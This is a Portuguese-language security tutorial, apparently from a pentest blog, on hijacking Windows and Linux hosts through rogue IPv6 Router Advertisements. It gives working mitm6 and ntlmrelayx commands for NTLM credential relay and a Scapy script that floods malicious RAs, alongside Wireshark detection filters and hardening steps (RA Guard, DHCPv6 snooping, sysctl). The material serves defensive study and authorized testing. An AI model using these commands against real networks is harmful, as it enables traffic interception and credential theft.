Anúncios de Roteador Malicioso IPv6: Sequestro de Hosts Windows e Linux em Redes Dual-Stack
A maioria dos times de segurança tem uma política IPv4 coerente. Firewalls, DHCP snooping, ARP inspection — os suspeitos usuais estão configurados e auditados.
Available in English
Anúncios de Roteador Malicioso IPv6: Sequestro de Hosts Windows e Linux em Redes Dual-Stack
Legal & Ethical Disclaimer
This content is provided for EDUCATIONAL and AUTHORIZED SECURITY TESTING purposes only.
- •Use these techniques on systems you own or have explicit written permission to test
- •Practice in authorized lab environments (VulnHub, HackTheBox, DVWA, etc.)
- •Follow responsible disclosure practices when finding vulnerabilities
- •Use knowledge for defensive security and authorized penetration testing
- •Access systems without explicit authorization
- •Use these techniques for malicious purposes
- •Deploy exploits against production systems you don't own
- •Share working exploits for unpatched vulnerabilities
Legal warning
Unauthorized access to computer systems is illegal in most jurisdictions (e.g. CFAA in the US, Computer Misuse Act in the UK). Violators may face criminal prosecution and civil liability. The author and publisher assume no liability for misuse of this information. By continuing, you agree to use this knowledge ethically and legally.
Gancho & Contexto
A maioria dos times de segurança tem uma política IPv4 coerente. Firewalls, DHCP snooping, ARP inspection — os suspeitos usuais estão configurados e auditados. O que frequentemente falta é que Windows tem IPv6 ativado por padrão desde Vista, e distribuições Linux fazem o mesmo há mais de uma década. O resultado é um ambiente dual-stack expansivo onde IPv6 é totalmente funcional no nível do SO mas invisível para o time de segurança. Sem RA Guard. Sem DHCPv6 snooping. Sem monitoramento. Apenas ar aberto.
O ataque coberto neste post explora uma característica fundamental do IPv6: Stateless Address Autoconfiguration (SLAAC). Quando um host inicia ou se conecta à rede, ele ouve mensagens de Router Advertisement (RA) para aprender seu gateway padrão, prefixo de rede e resolvedores DNS (via RDNSS). Não há mecanismo de autenticação no protocolo base. Qualquer host no mesmo segmento Camada 2 pode enviar um pacote RA e todo host desprotegido acreditará nele. O atacante não precisa tocar em IPv4. Não precisa fazer ARP-poison. Simplesmente se anuncia como o roteador, e o SO faz o resto.
Isso importa operacionalmente porque Windows preferirá IPv6 sobre IPv4 por padrão quando ambas as stacks estão ativas. Um atacante que vence a corrida do gateway padrão IPv6 intercepta tráfego que a vítima acredita estar indo para a rede real — consultas DNS, conexões SMB, autenticação LDAP, requisições HTTP — enquanto fluxos IPv4 funcionam normalmente, mantendo o usuário completamente alheio. Esta é a base de ataques como cadeias de relay NTLM via mitm6, e foi confiável e amplamente explorada em engajamentos de red team reais por anos.
TL;DR
| Dimensão | Detalhe |
|---|---|
| Superfície de ataque | Qualquer segmento Camada 2 onde IPv6 está ativado por padrão (ou seja, praticamente em todo lugar) |
| Protocolo abusado | ICMPv6 Router Advertisements (Tipo 134), SLAAC, RDNSS |
| O que o atacante ganha | Posição de gateway padrão IPv6 → interceptação de tráfego, sequestro DNS |
| Ferramenta principal | mitm6 (combina com impacket para relay NTLM) |
| Defesa principal | RA Guard em switches gerenciados + DHCPv6 snooping + filtragem RDNSS |
| Preferência do SO | Windows prefere IPv6 sobre IPv4 por padrão (RFC 6724) |
Fundamentos & Teoria
Por que SLAAC Existe e Por que Não Tem Autenticação
IPv6 foi projetado para ser auto-configurável em escala. SLAAC (definido em RFC 4862) permite que um host derive um endereço globalmente roteável completo a partir de um prefixo anunciado por um roteador mais seu próprio identificador de interface — sem servidor DHCP necessário. A mensagem de Anúncio de Roteador (ICMPv6 Tipo 134) carrega:
- Prefix Information Option (PIO): o prefixo
/64que hosts usam para construir seu endereço - Router Lifetime: quanto tempo este roteador deve ser confiável como gateway padrão
- RDNSS Option (RFC 8106): um ou mais endereços de servidor DNS, embutidos diretamente no RA
Os projetistas do protocolo assumiram que roteadores seriam confiáveis porque estavam fisicamente no segmento de rede correto. Não havia consideração para um host comprometido ou malicioso compartilhando o mesmo domínio de broadcast. Esta suposição é a raiz da vulnerabilidade.
Preferência IPv6 do Windows: O Multiplicador Silencioso
RFC 6724 define a política padrão de seleção de endereço para sistemas capazes de IPv6. Windows implementa esta política e coloca endereços unicast globais IPv6 acima de endereços IPv4 na tabela de seleção de endereço de destino. Quando um host Windows resolve um hostname e recebe ambos registros A (IPv4) e AAAA (IPv6), tentará o caminho IPv6 primeiro.
Isso significa que um atacante que controla apenas o caminho IPv6 pode interceptar respostas DNS e redirecionar conexões — mesmo se IPv4 está perfeitamente saudável. O usuário não vê nenhum erro. A sessão simplesmente passa pelo gateway errado.
Onde Se Encaixa no Fluxo de Trabalho
Este ataque se situa firmemente na fase de movimento lateral pós-acesso inicial. Assume que o atacante já está em um segmento Camada 2 — seja via uma estação de trabalho comprometida, um dispositivo malicioso em uma porta de rede, ou acesso a um segmento wireless. Não é um ataque pré-autenticação remoto. O poder está em como silenciosamente e completamente reposiciona o atacante como um insider de rede.
Conceitos Chave em Profundidade
1. O Pacote RA Malicioso: Anatomia do Sequestro
O pacote central é um Anúncio de Roteador ICMPv6 enviado do endereço link-local do atacante para o grupo multicast de todos os nós (ff02::1). Todo host com IPv6 ativado no segmento o recebe. Os campos críticos que um atacante controla:
- Router Lifetime (definido alto, ex: 1800s): vítimas continuam usando este gateway até ele expirar ou um melhor aparecer
- Prefix Information Option: o atacante anuncia um prefixo
/64com aparência legítima, ou sequestra o real - RDNSS Option: endereço IPv6 do atacante é inserido como o resolver DNS
- M flag (Managed) / O flag (Other): pode instruir hosts a também usar DHCPv6, permitindo que
mitm6responda a mensagens DHCPv6 SOLICIT e entregue endereços IPv6 com DNS controlado por atacante
Com mitm6, você pode criar e inundar estes pacotes com um único comando:
sudo mitm6 -i eth0 -d targetdomain.local
mitm6 especificamente alveja requisições WPAD e DNS do domínio -d, tornando-o cirúrgico em vez de barulhento. Responde a requisições DHCPv6 e injeta entradas RDNSS apontando para o host do atacante.
2. Envenenamento DNS via RDNSS
Uma vez que a vítima adota o resolver RDNSS malicioso, toda consulta DNS para nomes internos (targetdomain.local) vai para o atacante primeiro. mitm6 responde com seu próprio IP para qualquer busca — mais criticamente para WPAD (Web Proxy Auto-Discovery). Windows automaticamente requisitará wpad.targetdomain.local, e mitm6 devolve um script WPAD que roteia tráfego HTTP através do proxy do atacante.
Isto não é ruído teórico. Esta única cadeia de resposta DNS confiável dispara:
- Autenticação NTLM para o servidor WPAD falso do atacante (Windows envia credenciais automaticamente para URLs da zona intranet)
- Autenticação SMB quando
mitm6redireciona buscas de caminho UNC
Combine isto com impacket's ntlmrelayx.py e você tem uma cadeia de relay completa:
sudo ntlmrelayx.py -6 -t smb://192.168.1.10 -wh attacker.targetdomain.local -l loot/
A flag -6 diz para ntlmrelayx ouvir em IPv6. Credenciais capturadas de WPAD/HTTP são retransmitidas em tempo real para alvos SMB internos.
3. Observando o Ataque em Wireshark
Antes de executar qualquer ferramenta, observação passiva ensina você o ambiente. Em Wireshark, aplique este filtro de exibição para ver todo tráfego RA no segmento:
icmpv6.type == 134
RAs legítimos vêm do endereço link-local do roteador real em baixa frequência (tipicamente a cada 200–600 segundos). Quando mitm6 é executado, você verá uma inundação de RAs do endereço link-local do atacante em taxa muito mais alta — esta é a estratégia "vencedora": super-anunciar o roteador real para que vítimas atualizem sua tabela de gateway padrão para o atacante.
Para ver opções RDNSS especificamente em Wireshark:
icmpv6.opt.type == 25
Isto isola pacotes RA contendo informações de servidor DNS. Você verá o endereço IPv6 do atacante sendo empurrado como resolver para todo host no segmento.
4. Diagrama da Superfície de Ataque: Quem é Vulnerável
Nota Linux: em sistemas usando systemd-networkd, a configuração accept-ra padrão é yes. Em sistemas NetworkManager, nm-setting-ip6-config controla aceitação de RA e está ativado por padrão. Verifique com:
sysctl net.ipv6.conf.eth0.accept_ra
Um valor de 1 significa que o host aceitará e agirá sobre RAs de qualquer fonte.
5. Scapy para Criação Personalizada de RA
Para ambientes de laboratório controlados e injeção de RA direcionada (ex: testar opções RDNSS específicas sem inundar), Scapy oferece controle preciso:
from scapy.all import *
from scapy.layers.inet6 import *
iface = "eth0"
src_mac = get_if_hwaddr(iface)
src_ip = get_if_addr6(iface) # link-local do atacante
ra = (
Ether(src=src_mac, dst="33:33:00:00:00:01") /
IPv6(src=src_ip, dst="ff02::1") /
ICMPv6ND_RA(routerlifetime=1800) /
ICMPv6NDOptPrefixInfo(prefix="2001:db8:dead:beef::", prefixlen=64) /
ICMPv6NDOptRDNSS(dns=["2001:db8:dead:beef::1"])
)
sendp(ra, iface=iface, loop=1, inter=5)
Isto é útil para exercícios purple team onde o objetivo é validar se políticas RA Guard estão capturando RAs injetados em portas específicas do switch, sem executar uma sessão mitm6 completa que interrompe tráfego de produção.
Alternativas & Comparação
| Ferramenta / Método | Mecanismo | Discreto | Caso de Uso |
|---|---|---|---|
mitm6 | DHCPv6 + injeção RA RDNSS | Médio | Cadeia de relay NTLM completa, red team |
Scapy RA customizado | Criação ICMPv6 manual | Alto | Teste de laboratório direcionado, purple team |
fake_router6 (THC-IPv6) | Inundação RA bruta | Baixo | Teste agressivo, risco de DoS |
EvilFOCA (Windows) | MITM IPv6 baseado em GUI | Médio | Testes de pen em Windows-cêntricos |
Abuso Router Advertisement Daemon | radvd mal configurado | Muito Alto | Ameaça interna, sequestro de serviço legítimo |
mitm6 é a escolha padrão para engajamentos de red team porque é limitado a um domínio específico, se integra diretamente com ntlmrelayx, e tem comportamento bem compreendido. fake_router6 do toolkit THC-IPv6 é mais barulhento e mais provável de ativar alertas IDS ou causar disrupção legítima de rede — use-o apenas em ambientes de laboratório isolados.
Hardening: Defendendo Contra RAs Maliciosos
⚠️ Detecção sem prevenção não é um controle de segurança. Compreender o ataque é metade do trabalho — compreender a remediação é o que separa uma auditoria completa de um relatório de vulnerabilidade.
RA Guard (IEEE 802.1aq / RFC 6105)
RA Guard é um controle de nível Camada 2 em switch que descarta pacotes RA em portas não designadas como voltadas para roteador. Configure-o em Cisco IOS-XE:
ipv6 nd raguard policy HOST-POLICY
device-role host
!
interface GigabitEthernet1/0/1
ipv6 nd raguard attach-policy HOST-POLICY
Todas as portas voltadas para host recebem HOST-POLICY. Apenas portas uplink/roteador são deixadas sem ela. Este é o controle mais efetivo único porque opera no tecido de switch antes de qualquer host jamais ver o pacote malicioso.
DHCPv6 Snooping
Similar a DHCP snooping em IPv4, isto descarta mensagens DHCPv6 REPLY de portas não confiáveis, prevenindo que mitm6 se assigne com sucesso como servidor DNS via DHCPv6:
ipv6 dhcp snooping
ipv6 dhcp snooping vlan 10
Group Policy do Windows: Desativando Componentes IPv6 Seletivamente
Se IPv6 não é operacionalmente requerido, a abordagem recomendada pela Microsoft não é desativar a stack inteiramente (o que pode quebrar coisas) mas usar a chave de registro HKLM\SYSTEM\CurrentControlSet\Services\Tcpip6\Parameters\DisabledComponents com uma máscara de bits. Via Group Policy Preferences, defina valor 0xFF para desativar todos os componentes IPv6 exceto o loopback. Isto previne SLAAC inteiramente.
Linux: Endurecer Aceitação de RA
# Desativar aceitação de RA em todas as interfaces
sysctl -w net.ipv6.conf.all.accept_ra=0
sysctl -w net.ipv6.conf.default.accept_ra=0
Fazer permanente em /etc/sysctl.d/99-ipv6-harden.conf.
Leitura Adicional & Referências
- RFC 4861 — Neighbor Discovery for IP version 6
- RFC 4862 — IPv6 Stateless Address Autoconfiguration
- RFC 6105 — IPv6 Router Advertisement Guard
- RFC 8106 — IPv6 Router Advertisement Options for DNS Configuration (RDNSS)
- mitm6: Compromising IPv4 networks via IPv6 — Fox-IT blog
- mitm6 GitHub Repository
- impacket ntlmrelayx — Fortra GitHub
- Microsoft Guidance on Disabling IPv6 Components
- Cisco RA Guard Configuration Guide